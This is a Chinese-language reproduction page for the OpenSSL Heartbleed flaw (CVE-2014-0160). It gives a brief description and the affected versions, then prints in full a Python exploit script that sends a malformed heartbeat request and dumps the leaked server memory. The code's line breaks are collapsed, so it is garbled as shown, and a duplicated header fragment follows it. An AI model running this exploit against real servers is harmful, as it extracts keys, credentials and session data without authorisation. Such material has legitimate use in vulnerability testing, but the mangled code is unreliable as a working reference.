（CVE-2014-0160）OpenSSL 心脏出血漏洞

一、漏洞简介

Heartbleed漏洞，这项严重缺陷(CVE-2014-0160)的产生是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容，这样一来受害者的内存内容就会以每次64KB的速度进行泄露。

二、漏洞影响

OpenSSL 1.0.2-betaOpenSSL 1.0.1 – OpenSSL 1.0.1f

三、复现过程

poc

#!/usr/bin/python# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParseroptions = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')def h2bin(x):return x.replace(' ', '').replace('\n', '').decode('hex')hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')hb = h2bin('''
18 03 02 00 03
01 40 00
''')def hexdump(s):for b in xrange(0, len(s), 16):lin = [c for c in s[b : b + 16]]hxdat = ' '.join('%02X' % ord(c) for c in lin)pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)print '  %04x: %-48s %s' % (b, hxdat, pdat)printdef recvall(s, length, timeout=5):endtime = time.time() + timeoutrdata = ''remain = lengthwhile remain > 0:rtime = endtime - time.time() if rtime < 0:return Noner, w, e = select.select([s], [], [], 5)if s in r:data = s.recv(remain)# EOF?if not data:return Nonerdata += dataremain -= len(data)return rdatadef recvmsg(s):hdr = recvall(s, 5)if hdr is None:print 'Unexpected EOF receiving record header - server closed connection'return None, None, Nonetyp, ver, ln = struct.unpack('>BHH', hdr)pay = recvall(s, ln, 10)if pay is None:print 'Unexpected EOF receiving record payload - server closed connection'return None, None, Noneprint ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))return typ, ver, paydef hit_hb(s):s.send(hb)while True:typ, ver, pay = recvmsg(s)if typ is None:print 'No heartbeat response received, server likely not vulnerable'return Falseif typ == 24:print 'Received heartbeat response:'hexdump(pay)if len(pay) > 3:print 'WARNING: server returned more data than it should - server is vulnerable!'else:print 'Server processed malformed heartbeat, but did not return any extra data.'return Trueif typ == 21:print 'Received alert:'hexdump(pay)print 'Server returned error, likely not vulnerable'return Falsedef main():opts, args = options.parse_args()if len(args) < 1:options.print_help()returns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)print 'Connecting...'sys.stdout.flush()s.connect((args[0], opts.port))print 'Sending Client Hello...'sys.stdout.flush()s.send(hello)print 'Waiting for Server Hello...'sys.stdout.flush()while True:typ, ver, pay = recvmsg(s)if typ == None:print 'Server closed connection without sending Server Hello.'return# Look for server hello done message.if typ == 22 and ord(pay[0]) == 0x0E:breakprint 'Sending heartbeat request...'sys.stdout.flush()s.send(hb)hit_hb(s)if __name__ == '__main__':main()

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（CVE-2014-0160）OpenSSL 心脏出血漏洞

（CVE-2014-0160）OpenSSL 心脏出血漏洞

一、漏洞简介

二、漏洞影响

三、复现过程

poc

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